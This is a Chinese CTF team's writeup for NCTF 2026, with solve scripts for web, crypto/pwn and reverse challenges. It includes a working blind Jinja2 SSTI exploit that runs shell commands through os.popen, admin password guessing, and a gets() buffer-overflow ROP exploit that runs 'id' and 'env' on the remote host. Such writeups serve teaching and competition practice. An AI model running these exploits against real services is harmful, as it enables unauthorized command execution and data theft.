2026NCTF Writeup by Mini-Venom
原创 Mini-Venom 2026-04-07 10:30 辽宁
招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
Web
N-Horse
打ssti盲注
GET /?username={{cycler.__init__.__globals__.os.popen('sleep 5').read()}}&password=1Exp:
#!/usr/bin/env python3
import argparse
import string
import sys
import time
import requests
DEFAULT_CHARSET = "{}_-" + string.ascii_letters + string.digits
DEFAULT_CANDIDATE_PATHS = [
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/tmp/flag",
"/home/ctf/flag",
"/home/ctf/flag.txt",
]
classBlindSSTIExploit:
def__init__(self, base_url, delay, timeout, charset, proxy=None):
self.base_url = base_url.rstrip("/") + "/"
self.delay = delay
self.timeout = timeout
self.charset = charset
self.session = requests.Session()
if proxy:
self.session.proxies.update({"http": proxy, "https": proxy})
@staticmethod
defbuild_payload(command):
escaped = command.replace("\\", "\\\\").replace("'", "\\'")
return"{{cycler.__init__.__globals__.os.popen('%s').read()}}" % escaped
defrequest_time(self, payload):
start = time.time()
try:
self.session.get(
self.base_url,
params={"username": payload, "password": "1"},
timeout=self.timeout,
)
except requests.RequestException:
pass
return time.time() - start
deforacle(self, command, threshold=None):
payload = self.build_payload(command)
elapsed = self.request_time(payload)
limit = threshold if threshold isnotNoneelse (self.delay - 0.5)
return elapsed > limit, elapsed
defconfirm_rce(self):
ok, elapsed = self.oracle(f"sleep {self.delay}")
return ok, elapsed
deffind_flag_path(self, paths):
for path in paths:
ok, elapsed = self.oracle(f"test -f {path} && sleep {self.delay}")
print(f"[path] {path:<24} hit={ok} time={elapsed:.2f}s")
if ok:
return path
returnNone
defget_length(self, path, max_len):
for size in range(1, max_len + 1):
ok, elapsed = self.oracle(
f"[ $(wc -c < {path}) -eq {size} ] && sleep {self.delay}"
)
if ok:
print(f"[len] {size} time={elapsed:.2f}s")
return size
returnNone
defextract_char(self, path, position):
for ch in self.charset:
ok, elapsed = self.oracle(
f"[ \"$(cut -c{position}{path})\" = '{ch}' ] && sleep {self.delay}"
)
if ok:
print(f"[chr] pos={position:<2} char={ch!r} time={elapsed:.2f}s")
return ch
returnNone
defextract_value(self, path, length):
value = []
for position in range(1, length + 1):
ch = self.extract_char(path, position)
if ch isNone:
print(f"[!] failed at position {position}", file=sys.stderr)
break
value.append(ch)
print(f"[cur] {''.join(value)}")
return"".join(value)
defparse_args():
parser = argparse.ArgumentParser(
description="Blind Jinja2 SSTI exploit for the N-Horse challenge."
)
parser.add_argument(
"-u",
"--url",
default="http://114.66.24.221:32571/",
help="Target base URL.",
)
parser.add_argument(
"-d",
"--delay",
type=int,
default=3,
help="Sleep delay used by the time-based oracle.",
)
parser.add_argument(
"-t",
"--timeout",
type=int,
default=8,
help="HTTP request timeout.",
)
parser.add_argument(
"-m",
"--max-len",
type=int,
default=80,
help="Maximum flag length to probe.",
)
parser.add_argument(
"-c",
"--charset",
default=DEFAULT_CHARSET,
help="Character set for blind extraction.",
)
parser.add_argument(
"-p",
"--paths",
nargs="*",
default=DEFAULT_CANDIDATE_PATHS,
help="Candidate flag paths.",
)
parser.add_argument(
"--proxy",
help="Optional proxy URL, for example http://127.0.0.1:8080",
)
return parser.parse_args()
defmain():
args = parse_args()
exploit = BlindSSTIExploit(
base_url=args.url,
delay=args.delay,
timeout=args.timeout,
charset=args.charset,
proxy=args.proxy,
)
ok, elapsed = exploit.confirm_rce()
print(f"[rce] confirmed={ok} time={elapsed:.2f}s")
ifnot ok:
print("[!] RCE confirmation failed", file=sys.stderr)
sys.exit(1)
flag_path = exploit.find_flag_path(args.paths)
ifnot flag_path:
print("[!] no candidate flag path matched", file=sys.stderr)
sys.exit(1)
print(f"[+] flag path: {flag_path}")
length = exploit.get_length(flag_path, args.max_len)
ifnot length:
print("[!] failed to determine flag length", file=sys.stderr)
sys.exit(1)
flag = exploit.extract_value(flag_path, length)
print(f"[+] final flag: {flag}")
if __name__ == "__main__":
main()
#python exp.py -u urlN-RustPICA
首页是一个典型 SPA,真正数据靠前端 JS 再去请求 API。
js源码里泄露了很多接口
这一步说明两件事:
后台确实存在,不是纯前端假页面
有一个旧流程模板接口 /api/admin/templates/review-flow
登录
默认用户名已经给了:anime_admin
然后针对 anime_admin 试少量强相关密码:
anime_admin
admin
123456
purestream
站点/品牌名变体
关键命中是:
用户名:anime_admin
密码:purestream
登录后台,找到隐藏条目
拿着 Cookie 访问后台列表:
curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
http://114.66.24.221:32833/api/admin/anime
返回里可以看到一条公开页面没有的内部条目:
{
"id":"anime-0007",
"name":"内部审片 07",
"status":"internal"
}curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
http://114.66.24.221:32833/api/admin/anime/anime-0007
旧流程模板接口:
curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
http://114.66.24.221:32833/api/admin/templates/review-flow
这说明:
后台仍然支持旧审核流程
发布内部条目需要完整 JSON
字段名、大小写、值格式都已经被泄露
直接拿模板去打状态迁移接口:
curl -b "nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7" \
-H "Content-Type: application/json" \
-X POST \
-d "{\"action\":\"publish\",\"targetStatus\":\"published\",\"reviewerToken\":\"FEATURE-REVIEW-2025\",\"featured\":false,\"approvalTicket\":\"PENDING-APPROVAL\"}" \
http://114.66.24.221:32833/api/admin/anime/anime-0007/transition
exp
import requests
BASE = "http://114.66.24.221:32833"
USERNAME = "anime_admin"
PASSWORD = "purestream"
TARGET_ID = "anime-0007"
s = requests.Session()
def login():
r = s.post(
f"{BASE}/api/auth/login",
json={"username": USERNAME, "password": PASSWORD},
timeout=10,
)
print("[login]", r.status_code, r.text)
r.raise_for_status()
def list_admin_anime():
r = s.get(f"{BASE}/api/admin/anime", timeout=10)
print("[admin list]", r.status_code)
print(r.text)
r.raise_for_status()
def get_template():
r = s.get(f"{BASE}/api/admin/templates/review-flow", timeout=10)
print("[template]", r.status_code)
print(r.text)
r.raise_for_status()
return r.json()["data"]["payload"]
def publish_hidden_item(payload):
r = s.post(
f"{BASE}/api/admin/anime/{TARGET_ID}/transition",
json=payload,
timeout=10,
)
print("[transition]", r.status_code)
print(r.text)
r.raise_for_status()
return r.json()["data"]
def fetch_public():
r = s.get(f"{BASE}/api/anime/{TARGET_ID}", timeout=10)
print("[public]", r.status_code)
print(r.text)
r.raise_for_status()
def main():
login()
list_admin_anime()
payload = get_template()
data = publish_hidden_item(payload)
print("[flag]", data["description"])
fetch_public()
if __name__ == "__main__":
main()
Crypto:
RNG GAME
非预期,seed给你了,你传一个-seed就行
Encryption
有点难绷,看这个函数,很明显可以打pwn试试
前面输入用的gets(s),写了个 strlen(s) <= 64 检查,经典x00 绕过,s 到返回地址的偏移是 0x3e8
payload = b"A\x00" + b"B" * (0x3e8 - 2) + rop_chainrop打到puts(0x404120),flag在env,ai写个脚本就行了
import socket
import sys
HOST = "114.66.24.221"
PORT = 45625
OFFSET = 0x3E8
RET = 0x401384
WIN = 0x401436
defrecv_until(sock: socket.socket, marker: bytes) -> bytes:
data = b""
while marker notin data:
chunk = sock.recv(4096)
ifnot chunk:
break
data += chunk
return data
defp64(x: int) -> bytes:
return x.to_bytes(8, "little")
defbuild_payload() -> bytes:
prefix = b"A\x00"
body = b"B" * (OFFSET - len(prefix))
chain = p64(RET) + p64(WIN)
return prefix + body + chain + b"\n"
defmain() -> None:
with socket.create_connection((HOST, PORT)) as sock:
banner = recv_until(sock, b"Enter plaintext in chars (max 64 chars):")
sys.stdout.buffer.write(banner)
payload = build_payload()
sock.sendall(payload)
sock.sendall(b"id\n")
sock.sendall(b"env\n")
sock.sendall(b"exit\n")
out = b""
whileTrue:
chunk = sock.recv(4096)
ifnot chunk:
break
out += chunk
sys.stdout.buffer.write(out)
if __name__ == "__main__":
main()Hard_RSA
RSA 参数设计错误 / 连分数恢复私钥
【利用思路】
读取题目给出的 N,e,c
对 e / N^6 做连分数展开
枚举收敛分数,取分母作为候选 d
验证 pow(pow(2,e,N), d, N) == 2
用恢复出的 d 解密:m = c^d mod N
from Crypto.Util.number import long_to_bytes
N =
7491931416296662302678040939463573085135942396204215280467335969606230359294879222523795932572433201519389341189645828
5500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620
503763041544738664221739366981075762409535100379250338620618401995088237
e =
1153824403638514961639818404863841074925611920439359070589802660868275288864817537092056019777218548066098732559309350
3235209882333675857851474205201766462432088073466850502595023973151957686582380596898621380931508465493173088358286330
9373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323
4114664637773067535840005971643704401304633224724285123598420799123703273039535358472884867922657292715197034394927723
3011029222764893685565282262244129049104632998451966637247546081307659293329283003511688745174518374510090612743167704
8635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310
3618123701557719705293537574753223327216241464106157844527314938761922953377602432457545712660924842168081526560420933
1736613532922579287990041668851687948185505555509004316267249966274661709732412666527915403908735414263189907258359187
5973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519
7644208375041516872450030549456915656444133514687363200447949063269742093913874380805034664126688718002946366424146524
5985156434076104118673576094970348315849796818522310872179048366579621238189976885338169261175873954385632163125064977
1030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128
3735624012787652232638988271174869139150027898591314583555691551090584707803956302609222508026439844685112862314576081
0617559782990517641712522695944468239392218993328870979897380758635248751632971297625794450375551655200515470812229951
5447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044
768946879601448500750228731652608416508751483139575431367276816127751324213761
c =
4659710183444999541492771613628739079293726348549869560762261327498530391914809927737937049962561673944719228936095789
2792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733
452207322953311422907574742284390173017434719506924876701654539254320355
defcont_frac(n, d):
while d:
a = n // d
yield a
n, d = d, n - a * d
defconvergents(cf):
p0, p1 = 0, 1
q0, q1 = 1, 0
for a in cf:
p0, p1 = p1, a * p1 + p0
q0, q1 = q1, a * q1 + q0
yield p1, q1
for k, d in convergents(cont_frac(e, N**6)):
if d and pow(pow(2, e, N), d, N) == 2:
print(long_to_bytes(pow(c, d, N)))
breakReverse:
Pay For 2048
核心逻辑在app.asar里面,里面有个wasm,wasm2c wasm_core.wasm > 1.c转成c看看,flag校验是通过NCTF-XXXX-XXXX-XXXX这12位X校验的,自定义hash是0xFC97CA2F,hash逻辑是
functionrol(x, n) {
return ((x << n) | (x >>> (32 - n))) >>> 0;
}
functioncheck(norm) {
let b = 4951 >>> 0;
for (let c = 0; c < norm.length; c++) {
const f = norm.charCodeAt(c) >>> 0;
const sel = (c & 1) ? 40503 : 17881;
const t1 = ((((sel + f) >>> 0) * (c + 11)) >>> 0 ^ rol(b, 3)) >>> 0;
const t2 = (((f << (c % 5)) >>> 0) ^ 0xA5A55A5A) >>> 0;
b = (t1 + t2) >>> 0;
}
return b === 0xFC97CA2F;
}unlock_flag 里用固定密文和 normalized_key + "|arcade::unlock-seed" 做按字节异或,固定字符串 "| arcade::unlock-seed" 直接出现在 rodata 中。flag是uuid格式,这样可以得到前五位必定是RU57W
那么枚举后6位爆hash就行了
key是NCTF-RU57-W45M-2048
调用wasm就能拿到flag NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}
const fs = require('fs');
const bytes = fs.readFileSync('wasm_core.wasm');
(async () => {
const { instance } = await WebAssembly.instantiate(bytes, {});
const te = new TextEncoder();
const td = new TextDecoder();
functioncall(name, payload) {
const input = te.encode(JSON.stringify(payload));
const ptr = instance.exports.alloc(input.length);
let mem = newUint8Array(instance.exports.memory.buffer);
mem.set(input, ptr);
const packed = BigInt(instance.exports[name](ptr, input.length));
mem = newUint8Array(instance.exports.memory.buffer);
instance.exports.free(ptr, input.length);
const outPtr = Number(packed & 0xffffffffn);
const outLen = Number((packed >> 32n) & 0xffffffffn);
const out = td.decode(mem.slice(outPtr, outPtr + outLen));
instance.exports.free(outPtr, outLen);
returnJSON.parse(out);
}
const key = 'NCTF-RU57-W45M-2048';
const verify = call('verify_license', {
key,
score: 0,
steps: 0,
maxTile: 256,
board: Array(16).fill(0),
sessionToken: ''
});
console.log('verify =', verify);
const unlock = call('unlock_flag', {
key,
score: 0,
steps: 0,
maxTile: 2048,
board: Array(16).fill(0),
sessionToken: verify.data.sessionToken
});
console.log('unlock =', unlock);
})();VM Encryptor
命令行程序,vm在偏移1270h,写了个vm解释器
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import argparse
from dataclasses import dataclass, field
from pathlib import Path
from typing import List
MEM_SIZE = 0x10000
STACK_SIZE = 0x1000
OPNAMES = {
0x00: "JMP",
0x01: "JZ",
0x02: "JNZ",
0x03: "PUSH8",
0x04: "PUSH32",
0x05: "LOAD8",
0x06: "LOAD32",
0x07: "POP",
0x08: "STORE8",
0x09: "STORE32",
0x0A: "ADD",
0x0B: "SUB",
0x0C: "MUL",
0x0D: "DIV",
0x0E: "MOD",
0x0F: "AND",
0x10: "OR",
0x11: "NOT",
0x12: "XOR",
0x13: "SHL",
0x14: "SHR",
0x15: "EQ",
0x16: "EQ2",
0x17: "NE",
0x18: "LT",
0x19: "GT",
0x1A: "LE",
0x1B: "GE",
0x1C: "DUP",
0x1D: "SWAP",
0x1E: "CALL",
0x1F: "RET",
0x20: "PRINT",
0xFF: "HALT",
}
defu32(v: int) -> int:
return v & 0xFFFFFFFF
defi32(v: int) -> int:
v &= 0xFFFFFFFF
return v if v < 0x80000000else v - 0x100000000
defrd_u32(mem: bytearray, addr: int) -> int:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
return int.from_bytes(mem[addr : addr + 4], "little")
defwr_u32(mem: bytearray, addr: int, val: int) -> None:
ifnot (0 <= addr <= 0xFFFC):
raise ValueError("mem oob")
mem[addr : addr + 4] = u32(val).to_bytes(4, "little")
defrd_imm32(mem: bytearray, ip: int) -> int:
if ip + 4 >= MEM_SIZE:
raise ValueError("ip oob")
return int.from_bytes(mem[ip + 1 : ip + 5], "little")
@dataclass
classVM:
mem: bytearray = field(default_factory=lambda: bytearray(MEM_SIZE))
stack: List[int] = field(default_factory=lambda: [0] * STACK_SIZE)
ip: int = 0
sp: int = 0
running: int = 1
error: int = 0
defpush(self, v: int):
if self.sp > 0xFFF:
self.error, self.running = 2, 0
return
self.stack[self.sp] = u32(v)
self.sp += 1
defpop(self) -> int:
if self.sp == 0:
self.error, self.running = 3, 0
return0
self.sp -= 1
return self.stack[self.sp]
defbinop(self, fn):
if self.sp < 2:
self.error, self.running = 3, 0
return
b = self.pop()
a = self.pop()
if self.error:
return
self.push(fn(a, b))
defstep(self, trace=False):
if self.error ornot self.running:
return
op = self.mem[self.ip]
if trace:
top = self.stack[self.sp - 1] if self.sp elseNone
print(f"ip={self.ip:04x} op={op:02x}{OPNAMES.get(op,'?')} sp={self.sp} top={top}")
try:
if op == 0x00: # JMP imm32
self.ip = rd_imm32(self.mem, self.ip)
elif op == 0x01: # JZ imm32 (pop)
dst = rd_imm32(self.mem, self.ip)
self.ip += 5
v = self.pop()
if self.error:
return
if v == 0:
self.ip = dst
elif op == 0x02: # JNZ imm32 (pop)
dst = rd_imm32(self.mem, self.ip)
self.ip += 5
v = self.pop()
if self.error:
return
if v != 0:
self.ip = dst
elif op == 0x03: # PUSH8 imm8
self.push(self.mem[self.ip + 1])
self.ip += 2
elif op == 0x04: # PUSH32 imm32
self.push(rd_imm32(self.mem, self.ip))
self.ip += 5
elif op == 0x05: # LOAD8 [addr]
addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
self.error, self.running = 4, 0
return
self.push(self.mem[addr])
self.ip += 1
elif op == 0x06: # LOAD32 [addr]
addr = self.pop()
if self.error:
return
self.push(rd_u32(self.mem, addr))
self.ip += 1
elif op == 0x07: # POP
_ = self.pop()
self.ip += 1
elif op == 0x08: # STORE8 [addr] = value
addr = self.pop()
if self.error:
return
val = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
self.error, self.running = 4, 0
return
self.mem[addr] = val & 0xFF
self.ip += 1
elif op == 0x09: # STORE32 [addr] = value
addr = self.pop()
if self.error:
return
val = self.pop()
if self.error:
return
wr_u32(self.mem, addr, val)
self.ip += 1
elif op == 0x0A:
self.binop(lambda a, b: a + b)
self.ip += 1
elif op == 0x0B:
self.binop(lambda a, b: a - b)
self.ip += 1
elif op == 0x0C:
self.binop(lambda a, b: a * b)
self.ip += 1
elif op == 0x0D: # DIV
if self.sp < 2:
self.error, self.running = 3, 0
return
b = self.pop()
a = self.pop()
if b == 0:
self.error, self.running = 5, 0
return
self.push(i32(a) // i32(b))
self.ip += 1
elif op == 0x0E: # MOD
if self.sp < 2:
self.error, self.running = 3, 0
return
b = self.pop()
a = self.pop()
if b == 0:
self.error, self.running = 5, 0
return
self.push(i32(a) % i32(b))
self.ip += 1
elif op == 0x0F:
self.binop(lambda a, b: a & b)
self.ip += 1
elif op == 0x10:
self.binop(lambda a, b: a | b)
self.ip += 1
elif op == 0x11:
if self.sp < 1:
self.error, self.running = 3, 0
return
self.stack[self.sp - 1] = u32(~self.stack[self.sp - 1])
self.ip += 1
elif op == 0x12:
self.binop(lambda a, b: a ^ b)
self.ip += 1
elif op == 0x13:
self.binop(lambda a, b: u32(a << (b & 0x1F)))
self.ip += 1
elif op == 0x14:
self.binop(lambda a, b: (a & 0xFFFFFFFF) >> (b & 0x1F))
self.ip += 1
elif op in (0x15, 0x16):
self.binop(lambda a, b: 1if a == b else0)
self.ip += 1
elif op == 0x17:
self.binop(lambda a, b: 1if a != b else0)
self.ip += 1
elif op == 0x18:
self.binop(lambda a, b: 1if i32(a) < i32(b) else0)
self.ip += 1
elif op == 0x19:
self.binop(lambda a, b: 1if i32(a) > i32(b) else0)
self.ip += 1
elif op == 0x1A:
self.binop(lambda a, b: 1if i32(a) <= i32(b) else0)
self.ip += 1
elif op == 0x1B:
self.binop(lambda a, b: 1if i32(a) >= i32(b) else0)
self.ip += 1
elif op == 0x1C: # DUP
if self.sp < 1:
self.error, self.running = 3, 0
return
self.push(self.stack[self.sp - 1])
self.ip += 1
elif op == 0x1D: # SWAP
if self.sp < 2:
self.error, self.running = 3, 0
return
self.stack[self.sp - 1], self.stack[self.sp - 2] = self.stack[self.sp - 2], self.stack[self.sp - 1]
self.ip += 1
elif op == 0x1E: # CALL imm32
dst = rd_imm32(self.mem, self.ip)
self.push(self.ip + 5)
if self.error:
return
self.ip = dst
elif op == 0x1F: # RET
self.ip = self.pop()
elif op == 0x20: # PRINT
addr = self.pop()
if self.error:
return
ifnot (0 <= addr <= 0xFFFF):
self.error, self.running = 4, 0
return
out = []
while addr < MEM_SIZE and self.mem[addr] != 0:
out.append(self.mem[addr])
addr += 1
if addr >= MEM_SIZE:
self.error, self.running = 4, 0
return
print(bytes(out).decode("latin1", errors="replace"))
self.ip += 1
elif op == 0xFF: # HALT
self.ip += 1
self.running = 0
else:
self.error, self.running = 1, 0
except ValueError:
self.error, self.running = 4, 0
defrun(self, max_steps=5_000_000, trace=False):
steps = 0
while self.running and self.error == 0:
self.step(trace=trace)
steps += 1
if steps >= max_steps:
self.error, self.running = 6, 0
break
return steps
defdisasm(code: bytes, start=0, count=256):
i = start
end = min(len(code), start + count)
while i < end:
op = code[i]
name = OPNAMES.get(op, f"OP_{op:02X}")
if op in (0x00, 0x01, 0x02, 0x04, 0x1E):
if i + 5 <= len(code):
imm = int.from_bytes(code[i + 1 : i + 5], "little")
print(f"{i:06x}: {op:02x}{name:<7} 0x{imm:08x}")
else:
print(f"{i:06x}: {op:02x}{name:<7} <truncated>")
i += 5
elif op == 0x03:
imm = code[i + 1] if i + 1 < len(code) else0
print(f"{i:06x}: {op:02x}{name:<7} 0x{imm:02x}")
i += 2
else:
print(f"{i:06x}: {op:02x}{name}")
i += 1
defmain():
ap = argparse.ArgumentParser(description="vm-encryptor VM helper")
ap.add_argument("code", help="path to code.bin")
ap.add_argument("--flag", default="", help="inject flag at mem[0x1000]")
ap.add_argument("--trace", action="store_true", help="trace each instruction")
ap.add_argument("--max-steps", type=int, default=2_000_000)
ap.add_argument("--disasm", action="store_true", help="disasm only")
ap.add_argument("--start", type=lambda x: int(x, 0), default=0)
ap.add_argument("--count", type=int, default=512)
args = ap.parse_args()
code = Path(args.code).read_bytes()
if args.disasm:
disasm(code, start=args.start, count=args.count)
return
vm = VM()
vm.mem[: len(code)] = code
# 主程序会把用户输入复制到 VM 内存偏移 0x1000
data = args.flag.encode("latin1", errors="ignore")[:42]
vm.mem[0x1000 : 0x1000 + len(data)] = data
if0x1000 + len(data) < MEM_SIZE:
vm.mem[0x1000 + len(data)] = 0
steps = vm.run(max_steps=args.max_steps, trace=args.trace)
print(f"\n[VM] steps={steps} halted={not vm.running} error={vm.error} ip=0x{vm.ip:08x} sp={vm.sp}")
if __name__ == "__main__":
main()然后分析code.bin,程序的核心验证逻辑是:将长为 42 字节的用户输入以每 3 字节(24 bits)为一组进行读取,经过三轮按位循环左移(ROL24)和对应的 XOR 运算后,将结果进行标准 Base64 编码,最后再把生成的 Base64 字符串逐字符与 0x63 进行异或,并同内置密文(275a0b080a3a090d30314c37023a120e542a4c302c3211270631563712264c3728325b375500481a0201112716004c372407113401365b27)比较。
Exp
import base64
defrotl24(v, amount):
amount %= 24
return ((v << amount) | (v >> (24 - amount))) & 0xFFFFFF
defrotr24(v, amount):
amount %= 24
return ((v >> amount) | (v << (24 - amount))) & 0xFFFFFF
defdecrypt_block(v_out):
v = v_out
v = rotr24(v, 20)
v = v ^ 0x55757d
v = rotr24(v, 11)
v = v ^ 0x55757d
v = rotr24(v, 5)
return v
defsolve():
b64_str = 'D9hkiYjnSR/TaYqm7I/SOQrDeR5TqE/TKQ8T6c+yabrDuc/TGdrWbU8D'
raw_bytes = base64.b64decode(b64_str)
flag = bytearray()
for i in range(0, len(raw_bytes), 3):
v_out = (raw_bytes[i] << 16) | (raw_bytes[i+1] << 8) | raw_bytes[i+2]
v_in = decrypt_block(v_out)
flag.append((v_in >> 16) & 0xFF)
flag.append((v_in >> 8) & 0xFF)
flag.append(v_in & 0xFF)
print("Flag:", flag.decode('latin1', errors='replace'))
if __name__ == '__main__':
solve()
# NCTF{1578be15-ad09-4859-9193-5d52585eb485}No My Bank!
加密密钥d34bff62613fdd2861f6d5942c5e99a53ef3e90adbe9091b4686859d5b7dab22
可以提出来文件,分析
好像主要逻辑还在exe里面?
gd是游戏逻辑,校验主逻辑在dll,dump出来_libextension.dll,里面通过^ 0xBA解密了一段逻辑
是一个魔改base64 + 其中一个key为0x114514的xor,用这段逻辑解密题目的比较字符串然后替换三个字符成数字即可
EncFlag = [
0x2B, 0xF7, 0x67, 0x5E, 0x7C, 0x98, 0xED, 0x6D, 0xD1, 0x8C, 0xEF, 0x57,
0xBB, 0x33, 0x22, 0x7E, 0xB2, 0x1F, 0x34, 0x5B, 0x36, 0x6C, 0x2B, 0xAF,
0xBB, 0x5B, 0x12, 0xD6, 0x3C, 0x0A, 0x45, 0x27, 0x84, 0x6C, 0x47, 0xAB,
0x2F, 0x75, 0x78, 0x3E, 0x88, 0x89, 0x2D, 0x7A, 0xCD, 0x5C, 0xF6, 0xFA,
0x36, 0x73, 0xFF, 0x6E, 0xD3, 0x4C, 0x1C, 0x75,
]
ALPHABET = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
SEED_INIT = 0x114514
LCG_MULTIPLIER = 0x01010193
LCG_INCREMENT = 0x12345678
defror8(value: int, count: int) -> int:
count &= 7
return ((value >> count) | ((value << (8 - count)) & 0xFF)) & 0xFF
defundo_stream_transform(data: bytes) -> bytes:
seed = SEED_INIT
output = bytearray()
for index, value in enumerate(data):
mask = (seed >> ((index * 8) % 24)) & 0xFF
restored = ror8(value ^ 0xBA, 2) ^ mask
output.append(restored)
seed = (seed * LCG_MULTIPLIER + LCG_INCREMENT) & 0xFFFFFFFF
return bytes(output)
defunswap_quartets(data: bytes) -> bytes:
if len(data) % 4 != 0:
raise ValueError("encoded data length must be a multiple of 4")
output = bytearray()
for index in range(0, len(data), 4):
a, b, c, d = data[index:index + 4]
output.extend((b, a, d, c))
return bytes(output)
defdecode_custom_base64(encoded: bytes) -> bytes:
lookup = {ch: index for index, ch in enumerate(ALPHABET)}
output = bytearray()
for index in range(0, len(encoded), 4):
c1, c2, c3, c4 = (chr(byte) for byte in encoded[index:index + 4])
v1 = lookup[c1]
v2 = lookup[c2]
v3 = 0if c3 == "="else lookup[c3]
v4 = 0if c4 == "="else lookup[c4]
output.append(((v1 << 2) | (v2 >> 4)) & 0xFF)
if c3 != "=":
output.append((((v2 & 0x0F) << 4) | (v3 >> 2)) & 0xFF)
if c4 != "=":
output.append((((v3 & 0x03) << 6) | v4) & 0xFF)
return bytes(output)
defrecover_flag(EncFlag: bytes) -> tuple[str, str, str]:
swapped = undo_stream_transform(EncFlag)
normal = unswap_quartets(swapped)
raw_flag = decode_custom_base64(normal).decode("ascii")
display_flag = raw_flag.replace("o", "0").replace("e", "3").replace("i", "1")
return swapped.decode("ascii"), raw_flag, display_flag
if __name__ == "__main__":
swapped_text, raw_flag, display_flag = recover_flag(EncFlag)
print(swapped_text)
print(raw_flag)
print(display_flag)IDA_7ffc3254f000 = [0xf6, 0x33, 0xfe, 0x9e, 0xa2, 0xf2, 0x33, 0xee, 0x9e, 0xaa, 0xf2, 0x33, 0xf6, 0x9e, 0xb2, 0xf2, 0x3b, 0x56, 0xb2, 0xbb, 0xba, 0xba, 0x7c, 0xfe, 0x9e, 0x8a, 0x1f, 0x7c, 0xfe, 0x9e, 0x8b, 0x1c, 0x7c, 0xfe, 0x9e, 0x88, 0x1d, 0x7c, 0xfe, 0x9e, 0x89, 0x12, 0x7c, 0xfe, 0x9e, 0x8e, 0x13, 0x7c, 0xfe, 0x9e, 0x8f, 0x10, 0x7c, 0xfe, 0x9e, 0x8c, 0x11, 0x7c, 0xfe, 0x9e, 0x8d, 0x16, 0x7c, 0xfe, 0x9e, 0x82, 0x17, 0x7c, 0xfe, 0x9e, 0x83, 0x14, 0x7c, 0xfe, 0x9e, 0x80, 0x15, 0x7c, 0xfe, 0x9e, 0x81, 0xa, 0x7c, 0xfe, 0x9e, 0x86, 0xb, 0x7c, 0xfe, 0x9e, 0x87, 0x8, 0x7c, 0xfe, 0x9e, 0x84, 0x9, 0x7c, 0xfe, 0x9e, 0x85, 0xe, 0x7c, 0xfe, 0x9e, 0xfa, 0xf, 0x7c, 0xfe, 0x9e, 0xfb, 0xc, 0x7c, 0xfe, 0x9e, 0xf8, 0xd, 0x7c, 0xfe, 0x9e, 0xf9, 0x2, 0x7c, 0xfe, 0x9e, 0xfe, 0x3, 0x7c, 0xfe, 0x9e, 0xff, 0x0, 0x7c, 0xfe, 0x9e, 0xfc, 0x1, 0x7c, 0xfe, 0x9e, 0xfd, 0x6, 0x7c, 0xfe, 0x9e, 0xf2, 0x7, 0x7c, 0xfe, 0x9e, 0xf3, 0x4, 0x7c, 0xfe, 0x9e, 0xf0, 0x3f, 0x7c, 0xfe, 0x9e, 0xf1, 0x3c, 0x7c, 0xfe, 0x9e, 0xf6, 0x3d, 0x7c, 0xfe, 0x9e, 0xf7, 0x32, 0x7c, 0xfe, 0x9e, 0xf4, 0x33, 0x7c, 0xfe, 0x9e, 0xf5, 0x30, 0x7c, 0xfe, 0x9e, 0xea, 0x31, 0x7c, 0xfe, 0x9e, 0xeb, 0x36, 0x7c, 0xfe, 0x9e, 0xe8, 0x37, 0x7c, 0xfe, 0x9e, 0xe9, 0x34, 0x7c, 0xfe, 0x9e, 0xee, 0x35, 0x7c, 0xfe, 0x9e, 0xef, 0x2a, 0x7c, 0xfe, 0x9e, 0xec, 0x2b, 0x7c, 0xfe, 0x9e, 0xed, 0x28, 0x7c, 0xfe, 0x9e, 0xe2, 0x29, 0x7c, 0xfe, 0x9e, 0xe3, 0x2e, 0x7c, 0xfe, 0x9e, 0xe0, 0x2f, 0x7c, 0xfe, 0x9e, 0xe1, 0x2c, 0x7c, 0xfe, 0x9e, 0xe6, 0x2d, 0x7c, 0xfe, 0x9e, 0xe7, 0x22, 0x7c, 0xfe, 0x9e, 0xe4, 0x23, 0x7c, 0xfe, 0x9e, 0xe5, 0x20, 0x7c, 0xfe, 0x9e, 0xda, 0x21, 0x7c, 0xfe, 0x9e, 0xdb, 0x26, 0x7c, 0xfe, 0x9e, 0xd8, 0x27, 0x7c, 0xfe, 0x9e, 0xd9, 0x24, 0x7c, 0xfe, 0x9e, 0xde, 0x7c, 0x7c, 0xfe, 0x9e, 0xdf, 0x7d, 0x7c, 0xfe, 0x9e, 0xdc, 0x72, 0x7c, 0xfe, 0x9e, 0xdd, 0x73, 0x7c, 0xfe, 0x9e, 0xd2, 0x70, 0x7c, 0xfe, 0x9e, 0xd3, 0x71, 0x7c, 0xfe, 0x9e, 0xd0, 0x76, 0x7c, 0xfe, 0x9e, 0xd1, 0x77, 0x7c, 0xfe, 0x9e, 0xd6, 0x74, 0x7c, 0xfe, 0x9e, 0xd7, 0x75, 0x7c, 0xfe, 0x9e, 0xd4, 0x6e, 0x7c, 0xfe, 0x9e, 0xd5, 0x6a, 0x7d, 0xfe, 0x9e, 0xaa, 0xba, 0xba, 0xba, 0xba, 0x51, 0xb0, 0x31, 0xfe, 0x9e, 0xaa, 0x45, 0x7a, 0x33, 0xfe, 0x9e, 0xaa, 0x39, 0xc6, 0x9e, 0xaa, 